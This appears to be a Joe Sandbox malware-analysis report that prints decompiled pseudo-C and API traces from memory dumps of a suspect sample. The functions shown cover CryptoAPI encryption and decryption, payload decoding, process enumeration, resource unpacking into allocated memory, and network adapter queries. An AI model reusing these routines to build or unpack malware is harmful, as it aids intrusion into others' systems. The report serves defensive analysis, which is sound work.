Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: ProcessProcess32$CloseFileFirstNameNext$ChangeCreateCurrentEnumFindHandleImageModuleModulesNotificationOpenSnapshotToolhelp32lstrcpylstrlen
String ID:
API String ID: 384183238-0
Opcode ID: f968c283a4d19645c33466bb1cdde0a0755c48e1b5ee604f6c84b8f5c7af64fd
Instruction ID: c9fd9719e36fb5edb768dae97ebace1d15885c7ece39cbb3db7519296d7591e9
Opcode Fuzzy Hash: f968c283a4d19645c33466bb1cdde0a0755c48e1b5ee604f6c84b8f5c7af64fd
Instruction Fuzzy Hash: 9641DC719002189BEB65DF94CD84BEDB7B9AB48304F0086D8E60DB6180DB75BE84CF50

Uniqueness

Uniqueness Score: -1.00%

Function 04008BB0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 101
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 30%

			E04008BB0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, int _a16) {
				int _v8;
				long* _v12;
				int _v16;
				char _v20;
				int _v24;
				char _v28;
				int _v32;
				char* _t36;
				int _t37;
				intOrPtr _t39;
				char* _t41;
				intOrPtr _t43;
				char* _t57;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0 || _a12 == 0 || _a16 == 0) {
					L17:
					return _v8;
				} else {
					_v12 = 0;
					_t36 =  *0x4013370; // 0x400c6e4
					_t37 = CryptAcquireContextA( &_v12, _t36, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 0); // executed
					if(_t37 == 0) {
						_t37 = GetLastError();
						_v16 = _t37;
						if(_v16 == 0x80090016 || _v16 == 0x8009000b) {
							_t57 =  *0x4013370; // 0x400c6e4
							_t37 = CryptAcquireContextA( &_v12, _t57, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 8); // executed
						}
					}
					if(_v12 != 0) {
						__imp__CryptCreateHash(_v12, 0x8003, 0, 0,  &_v20);
						if(_t37 != 0) {
							_t39 = _a8;
							__imp__CryptHashData(_v20, _a4, _t39, 0);
							if(_t39 != 0) {
								_v24 = 0;
								_v28 = 4;
								_t41 =  &_v28;
								__imp__CryptGetHashParam(_v20, 4,  &_v24, _t41, 0);
								if(_t41 != 0 && _a16 >= _v24) {
									_v32 = _a16;
									_t43 = _a12;
									__imp__CryptGetHashParam(_v20, 2, _t43,  &_v32, 0);
									if(_t43 != 0) {
										_v8 = _v32;
									}
								}
							}
							__imp__CryptDestroyHash(_v20);
						}
						CryptReleaseContext(_v12, 0);
					}
					goto L17;
				}
			}

0x04008bb6
0x04008bc1
0x04008ce7
0x04008ced
0x04008be5
0x04008be5
0x04008bf5
0x04008bff
0x04008c07
0x04008c09
0x04008c0f
0x04008c19
0x04008c2d
0x04008c38
0x04008c38
0x04008c19
0x04008c42
0x04008c59
0x04008c61
0x04008c65
0x04008c71
0x04008c79
0x04008c7b
0x04008c82
0x04008c8b
0x04008c99
0x04008ca1
0x04008cae
0x04008cb7
0x04008cc1
0x04008cc9
0x04008cce
0x04008cce
0x04008cc9
0x04008ca1
0x04008cd5
0x04008cd5
0x04008ce1
0x04008ce1
0x00000000
0x04008c42

APIs

CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 04008BFF
GetLastError.KERNEL32 ref: 04008C09
CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 04008C38
CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 04008C59
CryptHashData.ADVAPI32(00000000,00000000,00000000,00000000), ref: 04008C71
CryptGetHashParam.ADVAPI32(00000000,00000004,00000000,00000004,00000000), ref: 04008C99
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 04008CC1
CryptDestroyHash.ADVAPI32(00000000), ref: 04008CD5
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04008CE1

Strings

Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 04008C28
Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 04008BF0

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: Crypt$Hash$Context$AcquireParam$CreateDataDestroyErrorLastRelease
String ID: Microsoft Enhanced Cryptographic Provider v1.0$Microsoft Enhanced Cryptographic Provider v1.0
API String ID: 731959895-947817771
Opcode ID: c04671c4f16af3ba3265102b35b0728ece87a0365c7276e8c5171731790e3264
Instruction ID: 7e4f484856ccd150e5ceb993e2d8e8a423e5286abb412a2c571c9cca470c08b6
Opcode Fuzzy Hash: c04671c4f16af3ba3265102b35b0728ece87a0365c7276e8c5171731790e3264
Instruction Fuzzy Hash: 4E41C772A50209ABEB14DF94C849FAFB7B9FB44705F14C529A601B61C0D7B8AA84CB60

Uniqueness

Uniqueness Score: -1.00%

Function 04008A70 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 97
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04008A70(BYTE* _a4, DWORD* _a8, BYTE* _a12, int _a16, BYTE* _a20, int _a24) {
				int _v8;
				long* _v12;
				long _v16;
				long* _v20;
				long* _v24;
				char* _t35;
				int _t36;
				int _t38;
				char* _t62;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0 || _a12 == 0 || _a16 == 0 || _a20 == 0 || _a24 == 0) {
					L16:
					return _v8;
				} else {
					_v12 = 0;
					_t35 =  *0x4013370; // 0x400c6e4
					_t36 = CryptAcquireContextA( &_v12, _t35, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 0); // executed
					if(_t36 == 0) {
						_v16 = GetLastError();
						if(_v16 == 0x80090016 || _v16 == 0x8009000b) {
							_t62 =  *0x4013370; // 0x400c6e4
							CryptAcquireContextA( &_v12, _t62, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 8);
						}
					}
					if(_v12 != 0) {
						_v20 = 0;
						_t38 = CryptImportKey(_v12, _a20, _a24, 0, 1,  &_v20); // executed
						if(_t38 != 0) {
							_v24 = 0;
							if(CryptImportKey(_v12, _a12, _a16, _v20, 1,  &_v24) != 0) {
								_v8 = CryptDecrypt(_v24, 0, 1, 0, _a4, _a8);
								CryptDestroyKey(_v24);
							}
							CryptDestroyKey(_v20);
						}
						CryptReleaseContext(_v12, 0);
					}
					goto L16;
				}
			}

0x04008a76
0x04008a81
0x04008ba3
0x04008ba9
0x04008ab9
0x04008ab9
0x04008ac9
0x04008ad3
0x04008adb
0x04008ae3
0x04008aed
0x04008b01
0x04008b0c
0x04008b0c
0x04008aed
0x04008b16
0x04008b1c
0x04008b37
0x04008b3f
0x04008b41
0x04008b66
0x04008b80
0x04008b87
0x04008b87
0x04008b91
0x04008b91
0x04008b9d
0x04008b9d
0x00000000
0x04008b16

APIs

CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 04008AD3
GetLastError.KERNEL32 ref: 04008ADD
CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 04008B0C
CryptImportKey.ADVAPI32(00000000,00000000,?,00000000,00000001,00000000), ref: 04008B37
CryptImportKey.ADVAPI32(00000000,00000000,00000000,00000000,00000001,00000000), ref: 04008B5E
CryptDecrypt.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00000000), ref: 04008B7A
CryptDestroyKey.ADVAPI32(00000000), ref: 04008B87
CryptDestroyKey.ADVAPI32(00000000), ref: 04008B91
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04008B9D

Strings

Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 04008AFC
Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 04008AC4

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: Crypt$Context$AcquireDestroyImport$DecryptErrorLastRelease
String ID: Microsoft Enhanced Cryptographic Provider v1.0$Microsoft Enhanced Cryptographic Provider v1.0
API String ID: 1555285084-947817771
Opcode ID: a29918078d8c2f64865fcd98cb153a1075290469360e4a9c607703ac9d42e64f
Instruction ID: 912f8c379191964defa89f3bac9fc05279983c51f6e5ced775be03f2308b6df6
Opcode Fuzzy Hash: a29918078d8c2f64865fcd98cb153a1075290469360e4a9c607703ac9d42e64f
Instruction Fuzzy Hash: 5A31CDB5A04209EBFB58DF94D849BEE77B8FB48705F14C518F601B62C0C7B8A984CB61

Uniqueness

Uniqueness Score: -1.00%

Function 10001030 Relevance: 18.4, APIs: 12, Instructions: 362libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(10004054,10004040), ref: 10001047
GetProcAddress.KERNEL32(00000000), ref: 1000104E

Part of subcall function 10001B30: SetLastError.KERNEL32(0000000D,?,10001070,?,00000040), ref: 10001B3D

SetLastError.KERNEL32(000000C1), ref: 10001096

Memory Dump Source

Source File: 00000000.00000002.607930216.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_iJzpyjAehB.jbxd

Similarity

API ID: ErrorLast$AddressLibraryLoadProc
String ID:
API String ID: 1866314245-0
Opcode ID: 3dc4c1101507dda9be7d1ca017cc9ed333707a61feece7f86d76402a0b178a7c
Instruction ID: de8a46b343c4f85be80e433d7a8ef3539ae306dd3111f157e8541b0b80b52991
Opcode Fuzzy Hash: 3dc4c1101507dda9be7d1ca017cc9ed333707a61feece7f86d76402a0b178a7c
Instruction Fuzzy Hash: 44F1C3B4A01209EFEB04CF94C990A9EB7B5FF48384F208598E915AB395D735EE41DB90

Uniqueness

Uniqueness Score: -1.00%

Function 04004880 Relevance: 18.1, APIs: 12, Instructions: 146encryptionCOMMON

Download Yara Rule

APIs

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 040048EB
CryptHashData.ADVAPI32(00000000,?,00000010,00000000), ref: 0400490B
CryptDeriveKey.ADVAPI32(00000000,00006801,00000000,00000001,00000000), ref: 0400493C
CryptDecrypt.ADVAPI32(00000000,00000000,00000001,00000000,?,000002F0), ref: 0400496F
CryptDestroyKey.ADVAPI32(00000000), ref: 04004982
CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,?), ref: 040049A9
CryptHashData.ADVAPI32(?,?,000002F0,00000000), ref: 040049CC
CryptGetHashParam.ADVAPI32(?,00000004,00000000,00000004,00000000), ref: 04004A07
CryptGetHashParam.ADVAPI32(?,00000002,?,00000010,00000000), ref: 04004A34
CryptDestroyHash.ADVAPI32(?), ref: 04004A7D
CryptDestroyHash.ADVAPI32(00000000), ref: 04004A8A
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04004AA5

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: Crypt$Hash$Destroy$CreateDataParam$ContextDecryptDeriveRelease
String ID:
API String ID: 2727466597-0
Opcode ID: 56f7e97ff9290496e290980ffb5b481f03a5a3792702acde3772e2a43a98712a
Instruction ID: 825b94236ad970d67c54706e51f03fb1cf2707309f33405f466b5fd67a115f37
Opcode Fuzzy Hash: 56f7e97ff9290496e290980ffb5b481f03a5a3792702acde3772e2a43a98712a
Instruction Fuzzy Hash: E251FD71A54318ABEB65CF50CC45FEA77BCAB48B04F008598F609B61C0DB79AB84CF54

Uniqueness

Uniqueness Score: -1.00%

Function 04008970 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 78
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E04008970(intOrPtr _a4, intOrPtr* _a8, BYTE* _a12, int _a16) {
				int _v8;
				long* _v12;
				long _v16;
				long* _v20;
				char* _t27;
				int _t28;
				int _t33;
				char* _t47;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0 || _a12 == 0 || _a16 == 0) {
					L12:
					return _v8;
				} else {
					_v12 = 0;
					_t27 =  *0x4013370; // 0x400c6e4
					_t28 = CryptAcquireContextA( &_v12, _t27, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 0); // executed
					if(_t28 == 0) {
						_v16 = GetLastError();
						if(_v16 == 0x80090016 || _v16 == 0x8009000b) {
							_t47 =  *0x4013370; // 0x400c6e4
							CryptAcquireContextA( &_v12, _t47, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 8);
						}
					}
					if(_v12 != 0) {
						_v20 = 0;
						if(CryptImportKey(_v12, _a12, _a16, 0, 1,  &_v20) != 0) {
							_t33 = _v20;
							__imp__CryptEncrypt(_t33, 0, 1, 0, _a4, _a8,  *_a8);
							_v8 = _t33;
							CryptDestroyKey(_v20);
						}
						CryptReleaseContext(_v12, 0);
					}
					goto L12;
				}
			}

0x04008976
0x04008981
0x04008a60
0x04008a66
0x040089a5
0x040089a5
0x040089b5
0x040089bf
0x040089c7
0x040089cf
0x040089d9
0x040089ed
0x040089f8
0x040089f8
0x040089d9
0x04008a02
0x04008a04
0x04008a27
0x04008a3d
0x04008a41
0x04008a47
0x04008a4e
0x04008a4e
0x04008a5a
0x04008a5a
0x00000000
0x04008a02

APIs

CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 040089BF
GetLastError.KERNEL32 ref: 040089C9
CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 040089F8
CryptImportKey.ADVAPI32(00000000,00000000,00000000,00000000,00000001,00000000), ref: 04008A1F
CryptEncrypt.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00000000,00000000), ref: 04008A41
CryptDestroyKey.ADVAPI32(00000000), ref: 04008A4E
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04008A5A

Strings

Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 040089B0
Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 040089E8

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: Crypt$Context$Acquire$DestroyEncryptErrorImportLastRelease
String ID: Microsoft Enhanced Cryptographic Provider v1.0$Microsoft Enhanced Cryptographic Provider v1.0
API String ID: 3736710109-947817771
Opcode ID: a580c414a6f780aecf9ca1925e7721a486cca4ea517db96ead6d5debf2f75543
Instruction ID: 073036156a227ab269f6199982c6e62e9abf2561c3e32999b52b046b74d0c6c6
Opcode Fuzzy Hash: a580c414a6f780aecf9ca1925e7721a486cca4ea517db96ead6d5debf2f75543
Instruction Fuzzy Hash: D231FD75A40208EFFB54DFA4C849BAE77B9FB44701F14C658F605B62C0D7B8AA80CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 13.6, APIs: 9, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E00401000() {
				char _v16;
				char _v20;
				char* _v48;
				char _v52;
				char* _v56;
				void* _v60;
				intOrPtr* _t18;
				_Unknown_base(*)()* _t19;
				intOrPtr* _t25;
				void* _t30;
				intOrPtr* _t31;
				intOrPtr _t36;
				void* _t38;
				void* _t40;
				void* _t41;
				signed int _t42;

				_t18 =  *0x404088; // 0x401c60
				if(_t18 != 0) {
					_v52 = 0;
					_v56 = 2;
					_v60 = 0;
					 *_t18();
					_t42 = _t42 - 0xc;
				}
				_v60 = E00401110; // executed
				_t19 = SetUnhandledExceptionFilter(??); // executed
				_push(_t19);
				E00401DC8(E00401CE8(_t38));
				_v20 = 0;
				_v48 =  &_v20;
				_v52 =  *0x403018;
				_v56 =  &_v16;
				_v60 = 0x405004;
				 *_t42 = 0x405000;
				L00402410();
				_t25 =  *0x405038;
				if(_t25 != 0) {
					L4:
					 *0x40301c = _t25;
					_v60 = _t25;
					_t36 = __imp___iob;
					 *_t42 =  *((intOrPtr*)(_t36 + 0x10));
					L00402430();
					_v60 =  *0x405038;
					 *_t42 =  *((intOrPtr*)(_t36 + 0x30));
					L00402430();
					_v60 =  *0x405038;
					_t25 =  *((intOrPtr*)(_t36 + 0x50));
					 *_t42 = _t25;
					L00402430();
					goto L3;
				} else {
					L3:
					L00402418();
					 *_t25 =  *0x40301c;
					_t30 = E00401F00(_t36, _t40, _t41);
					_t42 = _t42 & 0xfffffff0;
					_t31 = E00402148(_t30);
					L00402420();
					_v56 =  *_t31;
					_v60 =  *0x405004;
					 *_t42 =  *0x405000; // executed
					_t25 = E0040216C( *0x40301c); // executed
					L00402428();
					 *_t42 = _t25;
					ExitProcess(??);
					goto L4;
				}
			}

0x00401007
0x0040100e
0x00401010
0x00401018
0x00401020
0x00401027
0x00401029
0x00401029
0x0040102c
0x00401033
0x00401038
0x0040103e
0x00401043
0x0040104d
0x00401056
0x0040105d
0x00401061
0x00401069
0x00401070
0x00401075
0x0040107c
0x004010c8
0x004010c8
0x004010cd
0x004010d1
0x004010da
0x004010dd
0x004010e7
0x004010ee
0x004010f1
0x004010fb
0x004010ff
0x00401102
0x00401105
0x00000000
0x0040107e
0x0040107e
0x0040107e
0x00401089
0x0040108b
0x00401090
0x00401093
0x00401098
0x0040109f
0x004010a8
0x004010b1
0x004010b4
0x004010bb
0x004010c0
0x004010c3
0x00000000
0x004010c3

APIs

SetUnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0040129C), ref: 00401033
__getmainargs.MSVCRT ref: 00401070
__p__fmode.MSVCRT ref: 0040107E
__p__environ.MSVCRT ref: 00401098
_cexit.MSVCRT ref: 004010BB
ExitProcess.KERNEL32 ref: 004010C3
_setmode.MSVCRT ref: 004010DD
_setmode.MSVCRT ref: 004010F1
_setmode.MSVCRT ref: 00401105

Memory Dump Source

Source File: 00000000.00000002.558886062.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.558685401.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.558979025.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.559069325.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.559239825.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.559886186.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iJzpyjAehB.jbxd

Similarity

API ID: _setmode$ExceptionExitFilterProcessUnhandled__getmainargs__p__environ__p__fmode_cexit
String ID:
API String ID: 3695137517-0
Opcode ID: c06788a4494e1d2675dd5dd0aa7ee8a04c7ee4f1323cc2b481735e636d9d2198
Instruction ID: 5314c48efd062ef50f6f18183d7c37668516cd49ce0ee3545be6121dab1d6748
Opcode Fuzzy Hash: c06788a4494e1d2675dd5dd0aa7ee8a04c7ee4f1323cc2b481735e636d9d2198
Instruction Fuzzy Hash: 9A21E8B45057009FC700EF79D68961EBBE4BF44308F40983EE984A7395D778D8449F5A

Uniqueness

Uniqueness Score: -1.00%

Function 04001390 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 122
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04001390(signed int __eax, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				signed char* _v8;
				char _v12;
				char _v16;
				intOrPtr _v20;
				long _v24;
				void* _v28;
				long _v32;
				signed int _t52;
				signed int _t57;
				intOrPtr _t64;
				void* _t76;
				void* _t103;
				void* _t104;
				void* _t106;
				void* _t107;

				_t52 = __eax;
				if(_a4 == 0 || _a8 == 0 || _a4 == 0 || _a16 == 0) {
					return _t52 | 0xffffffff;
				} else {
					_v24 = 0;
					_t57 = RtlAllocateHeap(GetProcessHeap(), 8, _a8 + 5); // executed
					_v28 = _t57;
					if(_v28 != 0) {
						E04007B70(_v28, _a4, _a8);
						E04007B70(_v28 + _a8, "====", 4);
						_t106 = _t104 + 0x18;
						_v8 = _v28;
						_v20 = 3;
						while(_v20 == 3) {
							_v32 = 0;
							while(_v32 < 4) {
								while( *_v8 != 0x3d) {
									_t76 = E04001500( *_v8 & 0x000000ff);
									_t106 = _t106 + 4;
									if(_t76 >= 0) {
										break;
									}
									_v8 =  &(_v8[1]);
								}
								 *((char*)(_t103 + _v32 - 0xc)) =  *_v8;
								_v8 =  &(_v8[1]);
								_v32 = _v32 + 1;
							}
							_t64 = E04001580( &_v16,  &_v12);
							_t107 = _t106 + 8;
							_v20 = _t64;
							if(_a16 >= _v20) {
								E04007B70(_a12,  &_v12, _v20);
								_t106 = _t107 + 0xc;
								_a12 = _a12 + _v20;
								_a16 = _a16 - _v20;
								_v24 = _v24 + _v20;
								continue;
							}
							return HeapFree(GetProcessHeap(), 0, _v28) | 0xffffffff;
						}
						RtlFreeHeap(GetProcessHeap(), 0, _v28); // executed
						return _v24;
					}
					return _t57 | 0xffffffff;
				}
			}

0x04001390
0x0400139a
0x00000000
0x040013b6
0x040013b6
0x040013cd
0x040013d3
0x040013da
0x040013f0
0x04001406
0x0400140b
0x04001411
0x04001414
0x0400141b
0x04001425
0x04001437
0x0400143d
0x0400144f
0x04001454
0x04001459
0x00000000
0x00000000
0x04001461
0x04001461
0x0400146e
0x04001478
0x04001434
0x04001434
0x04001485
0x0400148a
0x0400148d
0x04001496
0x040014bc
0x040014c1
0x040014ca
0x040014d3
0x040014dc
0x00000000
0x040014dc
0x00000000
0x040014ab
0x040014f1
0x00000000
0x040014f7
0x00000000
0x040013dc

APIs

GetProcessHeap.KERNEL32(00000008,-00000005), ref: 040013C6
RtlAllocateHeap.NTDLL(00000000), ref: 040013CD
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0400149E
HeapFree.KERNEL32(00000000), ref: 040014A5
GetProcessHeap.KERNEL32(00000000,00000000), ref: 040014EA
RtlFreeHeap.NTDLL(00000000), ref: 040014F1

Strings

====, xrefs: 040013FA

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: Heap$Process$Free$Allocate
String ID: ====
API String ID: 168621272-1026985228
Opcode ID: cc6d638cfefe3820553d32bbcecc0cddb825681ad85667f70979d716b4f01239
Instruction ID: c6e28297ba35799b7f22f7dab3aca0fae7ec72587fc4187f79a8e8c8e7655232
Opcode Fuzzy Hash: cc6d638cfefe3820553d32bbcecc0cddb825681ad85667f70979d716b4f01239
Instruction Fuzzy Hash: F7414CB5D04209EBEB04DFA4C884BEE7BB5FF44309F108619E515BB2D0D735AA45CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00401479 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 78librarymemorynativeCOMMON

Download Yara Rule

APIs

LdrFindResource_U.NTDLL ref: 004014EC
LdrAccessResource.NTDLL ref: 00401513
NtAllocateVirtualMemory.NTDLL ref: 0040154B

Strings

@, xrefs: 0040151E
BWONAD, xrefs: 004014AE
$@@, xrefs: 0040157C

Memory Dump Source

Source File: 00000000.00000002.558886062.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.558685401.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.558979025.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.559069325.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.559239825.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.559886186.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iJzpyjAehB.jbxd

Similarity

API ID: AccessAllocateFindMemoryResourceResource_Virtual
String ID: $@@$@$BWONAD
API String ID: 2485490239-207724474
Opcode ID: 1e933e0ed077e168773f665c03ba50cbef35de6cb0efad7f213f85bcee16254c
Instruction ID: 811c5ae7d21e0ee4240d1f8525f1dfe1deae8c0cebef189c32f944b86f782d2c
Opcode Fuzzy Hash: 1e933e0ed077e168773f665c03ba50cbef35de6cb0efad7f213f85bcee16254c
Instruction Fuzzy Hash: 1631D2B4D042099FDB00DFA9C4407DEBBF4EB49314F10C5AAD958B7340D7789A488FA5

Uniqueness

Uniqueness Score: -1.00%

Function 04009F70 Relevance: 1.6, APIs: 1, Instructions: 87
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E04009F70(intOrPtr _a4, signed int _a8, intOrPtr* _a12) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				signed int _v20;
				intOrPtr _v24;
				intOrPtr* _v28;
				void* _v32;
				intOrPtr* _t59;
				intOrPtr _t64;
				void* _t99;
				void* _t100;

				_v8 = 1;
				if(_a4 != 0) {
					_t103 = _a8 - 5;
					if(_a8 > 5) {
						asm("cdq");
						_t59 = E040097A0( ~(0 | _t103 > 0x00000000) | _a8 / 0x00000006 * 0x00000288); // executed
						_t100 = _t99 + 4;
						_v28 = _t59;
						_v12 = _v28;
						if(_v12 != 0) {
							_v16 = _v12;
							_v20 = _a8 * 0x288 / 6;
							_push( &_v20);
							_t64 = _v12;
							_push(_t64); // executed
							L0400B1DA(); // executed
							if(_t64 == 0) {
								_v24 = 0;
								while(_v12 != 0 && _v24 < _a8) {
									if( *((intOrPtr*)(_v12 + 0x190)) < _a8 - _v24) {
										E04007B70(_a4 + _v24, _v12 + 0x194,  *((intOrPtr*)(_v12 + 0x190)));
										_t100 = _t100 + 0xc;
										_v24 = _v24 +  *((intOrPtr*)(_v12 + 0x190));
										_v12 =  *_v12;
										_v8 = 1;
										continue;
									}
									break;
								}
								 *_a12 = _v24;
							}
							_v32 = _v16;
							E040097C0(_v32);
						}
					}
				}
				return _v8;
			}

0x04009f76
0x04009f81
0x04009f87
0x04009f8b
0x04009f94
0x04009fad
0x04009fb2
0x04009fb5
0x04009fbb
0x04009fc2
0x04009fcb
0x04009fe0
0x04009fe6
0x04009fe7
0x04009fea
0x04009feb
0x04009ff2
0x04009ff4
0x04009ffb
0x0400a018
0x0400a034
0x0400a039
0x0400a048
0x0400a050
0x0400a053
0x00000000
0x0400a05e
0x00000000
0x0400a018
0x0400a066
0x0400a066
0x0400a06b
0x0400a072
0x0400a077
0x04009fc2
0x04009f8b
0x0400a080

APIs

Part of subcall function 040097A0: GetProcessHeap.KERNEL32(00000008,04009FB2,?,04009FB2,00000000,?,?,?,04009E2D), ref: 040097A9
Part of subcall function 040097A0: RtlAllocateHeap.NTDLL(00000000,?,04009FB2,00000000,?,?,?,04009E2D), ref: 040097B0

GetAdaptersInfo.IPHLPAPI(00000000,04009E2D), ref: 04009FEB

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
